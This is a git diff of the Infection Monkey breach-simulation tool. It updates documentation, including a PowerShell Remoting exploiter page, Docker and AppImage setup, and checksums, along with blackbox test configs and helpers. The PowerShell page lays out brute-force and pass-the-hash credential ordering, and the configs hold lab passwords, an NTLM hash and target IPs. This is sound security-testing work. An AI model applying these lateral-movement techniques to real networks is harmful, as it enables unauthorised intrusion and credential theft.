1. Start the Infection Monkey with the `--server-config` parameter.
|
||||
|
||||
```bash
|
||||
$ InfectionMonkey-VERSION.AppImage --server-config <PATH_TO_SERVER_CONFIG>
|
||||
```
|
||||
|
|
|
@ -0,0 +1,66 @@
|
|||
---
|
||||
title: "PowerShell"
|
||||
date: 2021-08-24T12:19:21+03:00
|
||||
draft: false
|
||||
tags: ["exploit", "windows"]
|
||||
---
|
||||
|
||||
### Description
|
||||
|
||||
This exploiter uses brute-force to propagate to a victim through PowerShell
|
||||
Remoting using Windows Remote Management (WinRM).
|
||||
|
||||
See Microsoft's documentation for more on [PowerShell Remoting
|
||||
Protocol](https://docs.microsoft.com/en-us/powershell/scripting/learn/remoting/winrmsecurity?view=powershell-7.1)
|
||||
and [Windows Remote
|
||||
Management](https://docs.microsoft.com/en-us/windows/win32/winrm/portal).
|
||||
|
||||
|
||||
##### Credentials used
|
||||
|
||||
The PowerShell exploiter can be run from both Linux and Windows attackers. On
|
||||
Windows attackers, the exploiter has the ability to use the cached username
|
||||
and/or password from the current user. On both Linux and Windows attackers, the
|
||||
exploiter uses all combinations of the [user-configured usernames and
|
||||
passwords]({{< ref "/usage/configuration/basic-credentials" >}}), as well as
|
||||
and LM or NT hashes that have been collected. Different combinations of
|
||||
credentials are attempted in the following order:
|
||||
|
||||
1. **Cached username and password (Windows attacker only)** - The exploiter will
|
||||
use the stored credentials of the current user to attempt to log into the
|
||||
victim machine.
|
||||
|
||||
1. **Brute force usernames with blank passwords** - Windows allows you to
|
||||
configure a user with a blank/empty password. The exploiter will attempt to
|
||||
log into the victim machine using each username set in the
|
||||
[configuration]({{< ref "/usage/configuration/basic-credentials" >}}) with a
|
||||
blank password.
|
||||
|
||||
In order for the attacker to connect with a blank password, the victim must
|
||||
have enabled basic authentication, http and no encryption.
|
||||
|
||||
1. **Brute force usernames with cached password (Windows attacker only)** - The
|
||||
exploiter will attempt to log into the victim machine using each username
|
||||
set in the [configuration]({{< ref "/usage/configuration/basic-credentials"
|
||||
>}}) and the current user's cached password.
|
||||
|
||||
1. **Brute force usernames and passwords** - The exploiter will attempt to use
|
||||
all combinations of usernames and passwords that were set in the
|
||||
[configuration.]({{< ref "/usage/configuration/basic-credentials" >}})
|
||||
|
||||
1. **Brute force usernames and LM hashes** - The exploiter will attempt to use
|
||||
all combinations of usernames that were set in the [configuration]({{< ref
|
||||
"/usage/configuration/basic-credentials" >}}) and LM hashes that were
|
||||
collected from any other victims.
|
||||
|
||||
1. **Brute force usernames and NT hashes** - The exploiter will attempt to use
|
||||
all combinations of usernames that were set in the [configuration]({{< ref
|
||||
"/usage/configuration/basic-credentials" >}}) and NT hashes that were
|
||||
collected from any other victims.
|
||||
|
||||
|
||||
#### Securing PowerShell Remoting
|
||||
|
||||
Information about how to remediate security concerns related to PowerShell
|
||||
Remoting can be found
|
||||
[here](https://docs.microsoft.com/en-us/powershell/scripting/learn/remoting/winrmsecurity?view=powershell-7.1).
|
|
@ -10,7 +10,7 @@ The Zerologon exploiter exploits [CVE-2020-1472](https://cve.mitre.org/cgi-bin/c
|
|||
|
||||
### Description
|
||||
|
||||
An elevation of privilege vulnerability exists when an attacker establishes a vulnerable Netlogon secure channel connection to a domain controller, using the Netlogon Remote Protocol (MS-NRPC).
|
||||
An elevation of privilege vulnerability exists when an attacker establishes a vulnerable Netlogon secure channel connection to a domain controller, using the Netlogon Remote Protocol (MS-NRPC). The Zerologon exploiter takes advantage of this vulnerability to steal credentials from the domain controller. This allows the Infection Monkey to propagate to the machine using one of the brute force exploiters (for example, the SMB Exploiter).
|
||||
|
||||
To download the relevant security update and read more, click [here](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2020-1472).
|
||||
|
||||
|
|
|
@ -18,7 +18,6 @@ In the following table, we list all the MITRE ATT&CK techniques the Infection Mo
|
|||
| TACTIC | TECHNIQUES |
|
||||
|--- |--- |
|
||||
| [Execution](https://attack.mitre.org/tactics/TA0002/) | [Command-line Interface](https://attack.mitre.org/techniques/T1059/) |
|
||||
| | [Execution Through Module Load](https://attack.mitre.org/techniques/T1129/) |
|
||||
| | [Execution Through API](https://attack.mitre.org/techniques/T1106/) |
|
||||
| | [Powershell](https://attack.mitre.org/techniques/T1086/) |
|
||||
| | [Scripting](https://attack.mitre.org/techniques/T1064/) |
|
||||
|
|
|
@ -11,8 +11,6 @@ tags: ["usage", "password"]
|
|||
|
||||
The first time you launch Monkey Island (the Infection Monkey C&C server), you'll be prompted to create an account and secure your island. After account creation, the server will only be accessible via the credentials you entered.
|
||||
|
||||
If you want an island to be accessible without credentials, press *I want anyone to access the island*. Please note that this option is insecure, and you should only use it in development environments.
|
||||
|
||||
## Resetting your account credentials
|
||||
|
||||
This procedure is documented in [the FAQ]({{< ref "/faq/#how-do-i-reset-the-monkey-island-password" >}}).
|
||||
|
|
|
@ -23,16 +23,20 @@ The Infection Monkey Docker container works on Linux only. It is not compatible
|
|||
1. Extract the Monkey Island Docker tarball:
|
||||
|
||||
```bash
|
||||
tar -xvzf monkey-island-docker.tar.gz
|
||||
tar -xvzf InfectionMonkey-docker-v1.12.0.tgz
|
||||
```
|
||||
|
||||
1. Load the Monkey Island Docker image:
|
||||
|
||||
```bash
|
||||
sudo docker load -i dk.monkeyisland.VERSION.tar
|
||||
sudo docker load -i InfectionMonkey-docker-v1.12.0.tar
|
||||
```
|
||||
|
||||
### 2. Start MongoDB
|
||||
{{% notice info %}}
|
||||
If you are upgrading the Infection Monkey to a new version, be sure to remove
|
||||
any MongoDB containers or volumes associated with the previous version.
|
||||
{{% /notice %}}
|
||||
|
||||
1. Start a MongoDB Docker container:
|
||||
|
||||
|
@ -56,16 +60,22 @@ been signed by a private certificate authority.
|
|||
1. Run the Monkey Island server
|
||||
```bash
|
||||
sudo docker run \
|
||||
--tty \
|
||||
--interactive \
|
||||
--name monkey-island \
|
||||
--network=host \
|
||||
guardicore/monkey-island:VERSION
|
||||
```
|
||||
|
||||
### 3b. Start Monkey Island with user-provided certificate
|
||||
{{% notice info %}}
|
||||
If you are upgrading the Infection Monkey to a new version, be sure to remove
|
||||
any volumes associated with the previous version.
|
||||
{{% /notice %}}
|
||||
|
||||
1. Create a directory named `monkey_island_data`. This will serve as the
|
||||
location where Infection Monkey stores its configuration and runtime
|
||||
artifacts.
|
||||
1. Create a directory named `monkey_island_data`. If you already have it,
|
||||
**make sure it's empty**. This will serve as the location where Infection
|
||||
Monkey stores its configuration and runtime artifacts.
|
||||
|
||||
```bash
|
||||
mkdir ./monkey_island_data
|
||||
|
@ -118,6 +128,8 @@ been signed by a private certificate authority.
|
|||
|
||||
```bash
|
||||
sudo docker run \
|
||||
--tty \
|
||||
--interactive \
|
||||
--name monkey-island \
|
||||
--network=host \
|
||||
--user "$(id -u ${USER}):$(id -g ${USER})" \
|
||||
|
@ -132,8 +144,9 @@ After the Monkey Island docker container starts, you can access Monkey Island by
|
|||
## Upgrading
|
||||
|
||||
Currently, there's no "upgrade-in-place" option when a new version is released.
|
||||
To get an updated version, download it, stop the current container and run the
|
||||
installation commands again with the new file.
|
||||
To get an updated version, download it, stop and remove the current Monkey
|
||||
Island and MongoDB containers and volumes, and run the installation commands
|
||||
again with the new file.
|
||||
|
||||
If you'd like to keep your existing configuration, you can export it to a file
|
||||
using the *Export config* button and then import it to the new Monkey Island.
|
||||
|
|
|
@ -23,19 +23,29 @@ installed, but the ones that we've tested are:
|
|||
- Ubuntu Focal 20.04
|
||||
- Ubuntu Hirsute 21.04
|
||||
|
||||
On Windows, AppImage can be run in WSL.
|
||||
|
||||
|
||||
## Deployment
|
||||
|
||||
1. Make the AppImage package executable:
|
||||
```bash
|
||||
chmod u+x Infection_Monkey_v1.11.0.AppImage
|
||||
chmod u+x InfectionMonkey-v1.12.0.AppImage
|
||||
```
|
||||
1. Start Monkey Island by running the Infection Monkey AppImage package:
|
||||
```bash
|
||||
./Infection_Monkey_v1.11.0.AppImage
|
||||
./InfectionMonkey-v1.12.0.AppImage
|
||||
```
|
||||
1. Access the Monkey Island web UI by pointing your browser at
|
||||
`https://localhost:5000`.
|
||||
|
||||
{{% notice info %}}
|
||||
If you're prompted to delete your data directory and you're not sure what to
|
||||
do, see the [FAQ]({{< ref
|
||||
"/faq/#i-updated-to-a-new-version-of-the-infection-monkey-and-im-being-asked-to-delete-my-existing-data-directory-why"
|
||||
>}}) for more information.
|
||||
{{% /notice %}}
|
||||
|
||||
### Start Monkey Island with user-provided certificate
|
||||
|
||||
By default, Infection Monkey comes with a [self-signed SSL
|
||||
|
@ -49,7 +59,7 @@ private certificate authority.
|
|||
`server_config.json` file.
|
||||
|
||||
```bash
|
||||
./Infection_Monkey_v1.11.0.AppImage --setup-only
|
||||
./InfectionMonkey-v1.12.0.AppImage --setup-only
|
||||
```
|
||||
|
||||
1. (Optional but recommended) Move your `.crt` and `.key` files to
|
||||
|
@ -85,7 +95,7 @@ private certificate authority.
|
|||
|
||||
1. Start Monkey Island by running the Infection Monkey AppImage package:
|
||||
```bash
|
||||
./Infection_Monkey_v1.11.0.AppImage
|
||||
./InfectionMonkey-v1.12.0.AppImage
|
||||
```
|
||||
|
||||
1. Access the Monkey Island web UI by pointing your browser at
|
||||
|
|
|
@ -10,7 +10,7 @@ tags: ["setup", "windows"]
|
|||
## Deployment
|
||||
|
||||
{{% notice tip %}}
|
||||
Don't get scared if the Infection Monkey gets [flagged as malware during the installation](/faq/#is-infection-monkey-a-malwarevirus).
|
||||
Don't get scared if the Infection Monkey gets [flagged as malware during the installation](/faq/#is-the-infection-monkey-a-malwarevirus).
|
||||
{{% /notice %}}
|
||||
|
||||
After running the installer, the following prompt should appear on the screen:
|
||||
|
@ -20,6 +20,13 @@ After running the installer, the following prompt should appear on the screen:
|
|||
1. Follow the steps to complete the installation.
|
||||
1. Run the Monkey Island by clicking on the desktop shortcut.
|
||||
|
||||
{{% notice info %}}
|
||||
If you're prompted to delete your data directory and you're not sure what to
|
||||
do, see the [FAQ]({{< ref
|
||||
"/faq/#i-updated-to-a-new-version-of-the-infection-monkey-and-im-being-asked-to-delete-my-existing-data-directory-why"
|
||||
>}}) for more information.
|
||||
{{% /notice %}}
|
||||
|
||||
### Start Monkey Island with user-provided certificate
|
||||
|
||||
By default, Infection Monkey comes with a [self-signed SSL certificate](https://aboutssl.org/what-is-self-sign-certificate/). In
|
||||
|
@ -53,6 +60,9 @@ private certificate authority.
|
|||
```
|
||||
1. Run the Monkey Island by clicking on the desktop shortcut.
|
||||
|
||||
1. Access the Monkey Island web UI by pointing your browser at
|
||||
`https://localhost:5000`.
|
||||
|
||||
## Troubleshooting
|
||||
|
||||
### Support
|
||||
|
|
|
@ -35,6 +35,19 @@ $ sha256sum monkey-linux-64
|
|||
|
||||
## Latest version checksums
|
||||
|
||||
| Filename | Type | Version | SHA256 |
|
||||
|------------------------------------------------------|-------------------|---------|--------------------------------------------------------------------|
|
||||
| monkey-windows-64.exe | Windows Agent | 1.12.0 | `02e5e051a96e2ca61ae8e661b3a5828ee53a0fc00aca6502d5c73a46754f0d07` |
|
||||
| monkey-windows-32.exe | Windows Agent | 1.12.0 | `3c10f610f47c4fd227cf85f6bf800d66ed31fe37dc2e2ed408860483685ba504` |
|
||||
| monkey-linux-64 | Linux Agent | 1.12.0 | `1ad52eabd704a9b0fbf642fa552629f30d3c5c27e431a687bd4cba4e0104d3f7` |
|
||||
| monkey-linux-32 | Linux Agent | 1.12.0 | `d941943046db48cf0eb7f11e144a79749848ae6b50014833c5390936e829f6c3` |
|
||||
| InfectionMonkey-v1.12.0.AppImage | Linux Package | 1.12.0 | `1325f2aa1d0c27aec2e2f9864ed53c53c524bd208313f87ea6606f59c90ff310` |
|
||||
| InfectionMonkey-docker-v1.12.0.tgz | Docker | 1.12.0 | `dcaf669411d55ea6883920597af4a35f3735a286801e08b6ef047cc91ff32769` |
|
||||
| InfectionMonkey-v1.12.0.exe | Windows Installer | 1.12.0 | `4d6e0373be3615a4b97721a07d2a854f6316d1ce8c4ff6d6495aac3a8f2c6a69` |
|
||||
|
||||
|
||||
## Older checksums
|
||||
|
||||
| Filename | Type | Version | SHA256 |
|
||||
|------------------------------------------------------|-------------------|---------|--------------------------------------------------------------------|
|
||||
| monkey-windows-64.exe | Windows Agent | 1.11.0 | `12c55377381a8fc7d8ff731db52302ef2f8bb894d8712769e5a91a140ba22b0a` |
|
||||
|
@ -44,12 +57,6 @@ $ sha256sum monkey-linux-64
|
|||
| Infection_Monkey-1.11.0-x86_64.AppImage | Linux Package | 1.11.0 | `6312b6bff18c11c7db694f42cf5a41e894786c39e3e093b6b15abcbff80337f2` |
|
||||
| infection_monkey_docker_20210811_211212.tgz | Docker | 1.11.0 | `40f203387cadd153f97c6a21dfdddacd4d4eeea334a9300d862bfb4ba528e2e6` |
|
||||
| Monkey Island v1.11.0_3789.exe | Windows Installer | 1.11.0 | `20633c1993ea5f86b57b3a48d6875e8f72881f856f4713d747f07a559da05ccc` |
|
||||
|
||||
|
||||
## Older checksums
|
||||
|
||||
| Filename | Type | Version | SHA256 |
|
||||
|------------------------------------------------------|-------------------|---------|--------------------------------------------------------------------|
|
||||
| monkey-windows-64.exe | Windows Agent | 1.10.0 | `3b499a4cf1a67a33a91c73b05884e4d6749e990e444fa1d2a3281af4db833fa1` |
|
||||
| monkey-windows-32.exe | Windows Agent | 1.10.0 | `8e891e90b11b97fbbef27f1408c1fcad486b19c612773f2d6a9edac5d4cdb47f` |
|
||||
| monkey-linux-64 | Linux Agent | 1.10.0 | `932f703510b6484c3824fc797f90f99722e38a7f8956cf6fa58fdecb3790ab93` |
|
||||
|
|
|
@ -0,0 +1 @@
|
|||
<a href="{{ .Destination | safeURL }}"{{ with .Title}} title="{{ . }}"{{ end }}>{{ .Text | safeHTML }}{{ if strings.HasPrefix .Destination "http" }}<span style="white-space: nowrap;"> <svg style="height: 0.7em; width: 0.7em;" focusable="false" data-prefix="fas" data-icon="external-link-alt" class="svg-inline--fa fa-external-link-alt fa-w-16" role="img" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><title>external link</title><path fill="currentColor" d="M432,320H400a16,16,0,0,0-16,16V448H64V128H208a16,16,0,0,0,16-16V80a16,16,0,0,0-16-16H48A48,48,0,0,0,0,112V464a48,48,0,0,0,48,48H400a48,48,0,0,0,48-48V336A16,16,0,0,0,432,320ZM488,0h-128c-21.37,0-32.05,25.91-17,41l35.73,35.73L135,320.37a24,24,0,0,0,0,34L157.67,377a24,24,0,0,0,34,0L435.28,133.32,471,169c15,15,41,4.5,41-17V24A24,24,0,0,0,488,0Z"></path></svg></span>{{ end }}</a>
|
|
@ -74,7 +74,7 @@
|
|||
</a>
|
||||
</div>
|
||||
<div class="col-lg-3 col-sm-6 mb-3">
|
||||
<a href="usage/scenarios" class="px-4 py-5 bg-white shadow text-center d-block">
|
||||
<a href="usage/scenarios/" class="px-4 py-5 bg-white shadow text-center d-block">
|
||||
<i class="fas fa-map-marked-alt d-block mb-4" style="font-size: x-large;"></i>
|
||||
<h4 class="mb-3 mt-0">Scenarios</h4>
|
||||
<p class="mb-0">Learn about scenarios of the Infection Monkey.</p>
|
||||
|
|
Binary file not shown.
After Width: | Height: | Size: 170 KiB |
|
@ -15,5 +15,4 @@ class BaseTemplate(ConfigTemplate):
|
|||
],
|
||||
"monkey.post_breach.post_breach_actions": [],
|
||||
"internal.general.keep_tunnel_open_time": 0,
|
||||
"internal.monkey.internet_services": [],
|
||||
}
|
||||
|
|
|
@ -24,6 +24,7 @@ class Performance(ConfigTemplate):
|
|||
"HadoopExploiter",
|
||||
"VSFTPDExploiter",
|
||||
"MSSQLExploiter",
|
||||
"PowerShellExploiter",
|
||||
"ZerologonExploiter",
|
||||
],
|
||||
"basic_network.network_analysis.inaccessible_subnets": [
|
||||
|
|
|
@ -0,0 +1,31 @@
|
|||
from copy import copy
|
||||
|
||||
from envs.monkey_zoo.blackbox.config_templates.base_template import BaseTemplate
|
||||
from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemplate
|
||||
|
||||
|
||||
class PowerShell(ConfigTemplate):
|
||||
config_values = copy(BaseTemplate.config_values)
|
||||
|
||||
# TODO: Remove .\\ from exploit user list when DC name is added,
|
||||
# for more context see https://github.com/guardicore/monkey/issues/1486
|
||||
config_values.update(
|
||||
{
|
||||
"basic.exploiters.exploiter_classes": ["PowerShellExploiter"],
|
||||
"basic_network.scope.subnet_scan_list": [
|
||||
"10.2.3.45",
|
||||
"10.2.3.46",
|
||||
"10.2.3.47",
|
||||
"10.2.3.48",
|
||||
],
|
||||
"basic.credentials.exploit_password_list": ["Passw0rd!"],
|
||||
"basic_network.scope.depth": 2,
|
||||
"basic.credentials.exploit_user_list": ["m0nk3y", "m0nk3y-user"],
|
||||
"internal.classes.finger_classes": ["PingScanner"],
|
||||
"internal.network.tcp_scanner.HTTP_PORTS": [],
|
||||
"internal.network.tcp_scanner.tcp_target_ports": [],
|
||||
"internal.exploits.exploit_ntlm_hash_list": [
|
||||
"d0f0132b308a0c4e5d1029cc06f48692",
|
||||
],
|
||||
}
|
||||
)
|
|
@ -0,0 +1,21 @@
|
|||
from copy import copy
|
||||
|
||||
from envs.monkey_zoo.blackbox.config_templates.base_template import BaseTemplate
|
||||
from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemplate
|
||||
|
||||
|
||||
class PowerShellCredentialsReuse(ConfigTemplate):
|
||||
config_values = copy(BaseTemplate.config_values)
|
||||
|
||||
config_values.update(
|
||||
{
|
||||
"basic.exploiters.exploiter_classes": ["PowerShellExploiter"],
|
||||
"basic_network.scope.subnet_scan_list": [
|
||||
"10.2.3.46",
|
||||
],
|
||||
"basic_network.scope.depth": 2,
|
||||
"internal.classes.finger_classes": ["PingScanner"],
|
||||
"internal.network.tcp_scanner.HTTP_PORTS": [],
|
||||
"internal.network.tcp_scanner.tcp_target_ports": [],
|
||||
}
|
||||
)
|
|
@ -13,11 +13,11 @@ class Tunneling(ConfigTemplate):
|
|||
"basic_network.scope.subnet_scan_list": [
|
||||
"10.2.2.9",
|
||||
"10.2.1.10",
|
||||
"10.2.0.11",
|
||||
"10.2.0.12",
|
||||
"10.2.0.11",
|
||||
],
|
||||
"basic_network.scope.depth": 3,
|
||||
"internal.general.keep_tunnel_open_time": 180,
|
||||
"internal.general.keep_tunnel_open_time": 150,
|
||||
"basic.credentials.exploit_password_list": [
|
||||
"Password1!",
|
||||
"3Q=(Ge(+&w]*",
|
||||
|
|
|
@ -10,7 +10,7 @@ class Zerologon(ConfigTemplate):
|
|||
|
||||
config_values.update(
|
||||
{
|
||||
"basic.exploiters.exploiter_classes": ["ZerologonExploiter"],
|
||||
"basic.exploiters.exploiter_classes": ["ZerologonExploiter", "SmbExploiter"],
|
||||
"basic_network.scope.subnet_scan_list": ["10.2.2.25"],
|
||||
# Empty list to make sure ZeroLogon adds "Administrator" username
|
||||
"basic.credentials.exploit_user_list": [],
|
||||
|
|
|
@ -27,6 +27,12 @@ def pytest_addoption(parser):
|
|||
default=False,
|
||||
help="If enabled performance tests will be run.",
|
||||
)
|
||||
parser.addoption(
|
||||
"--skip-powershell-reuse",
|
||||
action="store_true",
|
||||
default=False,
|
||||
help="Use to run PowerShell credentials reuse test.",
|
||||
)
|
||||
|
||||
|
||||
@pytest.fixture(scope="session")
|
||||
|
@ -51,3 +57,11 @@ def pytest_runtest_setup(item):
|
|||
pytest.skip(
|
||||
"Skipping performance test because " "--run-performance-tests flag isn't specified."
|
||||
)
|
||||
|
||||
if "skip_powershell_reuse" in item.keywords and item.config.getoption(
|
||||
"--skip-powershell-reuse"
|
||||
):
|
||||
pytest.skip(
|
||||
"Skipping powershell credentials reuse test because "
|
||||
"--skip-powershell-cached flag isn't specified."
|
||||
)
|
||||
|
|
|
@ -1,22 +1,30 @@
|
|||
GCP_TEST_MACHINE_LIST = [
|
||||
"sshkeys-11",
|
||||
"sshkeys-12",
|
||||
"elastic-4",
|
||||
"elastic-5",
|
||||
"hadoop-2",
|
||||
"hadoop-3",
|
||||
"mssql-16",
|
||||
"mimikatz-14",
|
||||
"mimikatz-15",
|
||||
"struts2-23",
|
||||
"struts2-24",
|
||||
"tunneling-9",
|
||||
"tunneling-10",
|
||||
"tunneling-11",
|
||||
"tunneling-12",
|
||||
"weblogic-18",
|
||||
"weblogic-19",
|
||||
"shellshock-8",
|
||||
"zerologon-25",
|
||||
"drupal-28",
|
||||
]
|
||||
GCP_TEST_MACHINE_LIST = {
|
||||
"europe-west3-a": [
|
||||
"sshkeys-11",
|
||||
"sshkeys-12",
|
||||
"elastic-4",
|
||||
"elastic-5",
|
||||
"hadoop-2",
|
||||
"hadoop-3",
|
||||
"mssql-16",
|
||||
"mimikatz-14",
|
||||
"mimikatz-15",
|
||||
"struts2-23",
|
||||
"struts2-24",
|
||||
"tunneling-9",
|
||||
"tunneling-10",
|
||||
"tunneling-11",
|
||||
"tunneling-12",
|
||||
"weblogic-18",
|
||||
"weblogic-19",
|
||||
"shellshock-8",
|
||||
"zerologon-25",
|
||||
"drupal-28",
|
||||
],
|
||||
"europe-west1-b": [
|
||||
"powershell-3-45",
|
||||
"powershell-3-46",
|
||||
"powershell-3-47",
|
||||
"powershell-3-48",
|
||||
],
|
||||
}
|
||||
|
|
|
@ -7,8 +7,8 @@ import requests
|
|||
|
||||
from envs.monkey_zoo.blackbox.island_client.supported_request_method import SupportedRequestMethod
|
||||
|
||||
# SHA3-512 of '1234567890!@#$%^&*()_nothing_up_my_sleeve_1234567890!@#$%^&*()'
|
||||
NO_AUTH_CREDS = "1234567890!@#$%^&*()_nothing_up_my_sleeve_1234567890!@#$%^&*()"
|
||||
ISLAND_USERNAME = "test"
|
||||
ISLAND_PASSWORD = "test"
|
||||
LOGGER = logging.getLogger(__name__)
|
||||
|
||||
|
||||
|
@ -16,6 +16,10 @@ class AuthenticationFailedError(Exception):
|
|||
pass
|
||||
|
||||
|
||||
class InvalidRegistrationCredentialsError(Exception):
|
||||
pass
|
||||
|
||||
|
||||
# noinspection PyArgumentList
|
||||
class MonkeyIslandRequests(object):
|
||||
def __init__(self, server_address):
|
||||
|
@ -48,9 +52,9 @@ class MonkeyIslandRequests(object):
|
|||
try:
|
||||
return self.get_jwt_from_server()
|
||||
except AuthenticationFailedError:
|
||||
self.try_set_island_to_no_password()
|
||||
self.try_set_island_to_credentials()
|
||||
return self.get_jwt_from_server()
|
||||
except requests.ConnectionError as err:
|
||||
except (requests.ConnectionError, InvalidRegistrationCredentialsError) as err:
|
||||
LOGGER.error(
|
||||
"Unable to connect to island, aborting! Error information: {}. Server: {}".format(
|
||||
err, self.addr
|
||||
|
@ -61,17 +65,21 @@ class MonkeyIslandRequests(object):
|
|||
def get_jwt_from_server(self):
|
||||
resp = requests.post( # noqa: DUO123
|
||||
self.addr + "api/auth",
|
||||
json={"username": NO_AUTH_CREDS, "password": NO_AUTH_CREDS},
|
||||
json={"username": ISLAND_USERNAME, "password": ISLAND_PASSWORD},
|
||||
verify=False,
|
||||
)
|
||||
if resp.status_code == 401:
|
||||
raise AuthenticationFailedError
|
||||
return resp.json()["access_token"]
|
||||
|
||||
def try_set_island_to_no_password(self):
|
||||
requests.patch( # noqa: DUO123
|
||||
self.addr + "api/environment", json={"server_config": "standard"}, verify=False
|
||||
def try_set_island_to_credentials(self):
|
||||
resp = requests.post( # noqa: DUO123
|
||||
self.addr + "api/registration",
|
||||
json={"username": ISLAND_USERNAME, "password": ISLAND_PASSWORD},
|
||||
verify=False,
|
||||
)
|
||||
if resp.status_code == 400:
|
||||
raise InvalidRegistrationCredentialsError("Missing part of the credentials")
|
||||
|
||||
class _Decorators:
|
||||
@classmethod
|
||||
|
@ -117,6 +125,5 @@ class MonkeyIslandRequests(object):
|
|||
self.addr + url, headers=self.get_jwt_header(), verify=False
|
||||
)
|
||||
|
||||
@_Decorators.refresh_jwt_token
|
||||
def get_jwt_header(self):
|
||||
return {"Authorization": "Bearer " + self.token}
|
||||
|
|
|
@ -1,7 +1,7 @@
|
|||
#!/usr/bin/env python3
|
||||
|
||||
from gcp_test_machine_list import GCP_TEST_MACHINE_LIST
|
||||
from utils.gcp_machine_handlers import GCPHandler
|
||||
from utils.gcp_machine_handlers import initialize_gcp_client, start_machines
|
||||
|
||||
gcp_handler = GCPHandler()
|
||||
gcp_handler.start_machines(" ".join(GCP_TEST_MACHINE_LIST))
|
||||
initialize_gcp_client()
|
||||
start_machines(GCP_TEST_MACHINE_LIST)
|
||||
|
|
|
@ -1,7 +1,7 @@
|
|||
#!/usr/bin/env python3
|
||||
|
||||
from gcp_test_machine_list import GCP_TEST_MACHINE_LIST
|
||||
from utils.gcp_machine_handlers import GCPHandler
|
||||
from utils.gcp_machine_handlers import initialize_gcp_client, stop_machines
|
||||
|
||||
gcp_handler = GCPHandler()
|
||||
gcp_handler.stop_machines(" ".join(GCP_TEST_MACHINE_LIST))
|
||||
initialize_gcp_client()
|
||||
stop_machines(GCP_TEST_MACHINE_LIST)
|
||||
|
|
|
@ -13,6 +13,10 @@ from envs.monkey_zoo.blackbox.config_templates.elastic import Elastic
|
|||
from envs.monkey_zoo.blackbox.config_templates.hadoop import Hadoop
|
||||
from envs.monkey_zoo.blackbox.config_templates.mssql import Mssql
|
||||
from envs.monkey_zoo.blackbox.config_templates.performance import Performance
|
||||
from envs.monkey_zoo.blackbox.config_templates.powershell import PowerShell
|
||||
from envs.monkey_zoo.blackbox.config_templates.powershell_credentials_reuse import (
|
||||
PowerShellCredentialsReuse,
|
||||
)
|
||||
from envs.monkey_zoo.blackbox.config_templates.shellshock import ShellShock
|
||||
from envs.monkey_zoo.blackbox.config_templates.smb_mimikatz import SmbMimikatz
|
||||
from envs.monkey_zoo.blackbox.config_templates.smb_pth import SmbPth
|
||||
|
@ -39,7 +43,11 @@ from envs.monkey_zoo.blackbox.tests.performance.report_generation_from_telemetri
|
|||
from envs.monkey_zoo.blackbox.tests.performance.telemetry_performance_test import (
|
||||
TelemetryPerformanceTest,
|
||||
)
|
||||
from envs.monkey_zoo.blackbox.utils import gcp_machine_handlers
|
||||
from envs.monkey_zoo.blackbox.utils.gcp_machine_handlers import (
|
||||
initialize_gcp_client,
|
||||
start_machines,
|
||||
stop_machines,
|
||||
)
|
||||
from monkey_island.cc.services.mode.mode_enum import IslandModeEnum
|
||||
|
||||
DEFAULT_TIMEOUT_SECONDS = 5 * 60
|
||||
|
@ -53,15 +61,15 @@ LOGGER = logging.getLogger(__name__)
|
|||
def GCPHandler(request, no_gcp):
|
||||
if not no_gcp:
|
||||
try:
|
||||
GCPHandler = gcp_machine_handlers.GCPHandler()
|
||||
GCPHandler.start_machines(" ".join(GCP_TEST_MACHINE_LIST))
|
||||
initialize_gcp_client()
|
||||
start_machines(GCP_TEST_MACHINE_LIST)
|
||||
except Exception as e:
|
||||
LOGGER.error("GCP Handler failed to initialize: %s." % e)
|
||||
pytest.exit("Encountered an error while starting GCP machines. Stopping the tests.")
|
||||
wait_machine_bootup()
|
||||
|
||||
def fin():
|
||||
GCPHandler.stop_machines(" ".join(GCP_TEST_MACHINE_LIST))
|
||||
stop_machines(GCP_TEST_MACHINE_LIST)
|
||||
|
||||
request.addfinalizer(fin)
|
||||
|
||||
|
@ -156,6 +164,19 @@ class TestMonkeyBlackbox:
|
|||
def test_mssql_exploiter(self, island_client):
|
||||
TestMonkeyBlackbox.run_exploitation_test(island_client, Mssql, "MSSQL_exploiter")
|
||||
|
||||
def test_powershell_exploiter(self, island_client):
|
||||
TestMonkeyBlackbox.run_exploitation_test(
|
||||
island_client, PowerShell, "PowerShell_Remoting_exploiter"
|
||||
)
|
||||
|
||||
@pytest.mark.skip_powershell_reuse
|
||||
def test_powershell_exploiter_credentials_reuse(self, island_client):
|
||||
TestMonkeyBlackbox.run_exploitation_test(
|
||||
island_client,
|
||||
PowerShellCredentialsReuse,
|
||||
"PowerShell_Remoting_exploiter_credentials_reuse",
|
||||
)
|
||||
|
||||
def test_smb_and_mimikatz_exploiters(self, island_client):
|
||||
TestMonkeyBlackbox.run_exploitation_test(
|
||||
island_client, SmbMimikatz, "SMB_exploiter_mimikatz"
|
||||
|
@ -200,7 +221,10 @@ class TestMonkeyBlackbox:
|
|||
"2864b62ea4496934a5d6e86f50b834a5",
|
||||
]
|
||||
raw_config = IslandConfigParser.get_raw_config(Zerologon, island_client)
|
||||
analyzer = ZerologonAnalyzer(island_client, expected_creds)
|
||||
zero_logon_analyzer = ZerologonAnalyzer(island_client, expected_creds)
|
||||
communication_analyzer = CommunicationAnalyzer(
|
||||
island_client, IslandConfigParser.get_ips_of_targets(raw_config)
|
||||
)
|
||||
log_handler = TestLogsHandler(
|
||||
test_name, island_client, TestMonkeyBlackbox.get_log_dir_path()
|
||||
)
|
||||
|
@ -208,7 +232,7 @@ class TestMonkeyBlackbox:
|
|||
name=test_name,
|
||||
island_client=island_client,
|
||||
raw_config=raw_config,
|
||||
analyzers=[analyzer],
|
||||
analyzers=[zero_logon_analyzer, communication_analyzer],
|
||||
timeout=DEFAULT_TIMEOUT_SECONDS,
|
||||
log_handler=log_handler,
|
||||
).run()
|
||||
|
|
|
@ -8,6 +8,7 @@ from envs.monkey_zoo.blackbox.config_templates.elastic import Elastic
|
|||
from envs.monkey_zoo.blackbox.config_templates.hadoop import Hadoop
|
||||
from envs.monkey_zoo.blackbox.config_templates.mssql import Mssql
|
||||
from envs.monkey_zoo.blackbox.config_templates.performance import Performance
|
||||
from envs.monkey_zoo.blackbox.config_templates.powershell import PowerShell
|
||||
from envs.monkey_zoo.blackbox.config_templates.shellshock import ShellShock
|
||||
from envs.monkey_zoo.blackbox.config_templates.smb_mimikatz import SmbMimikatz
|
||||
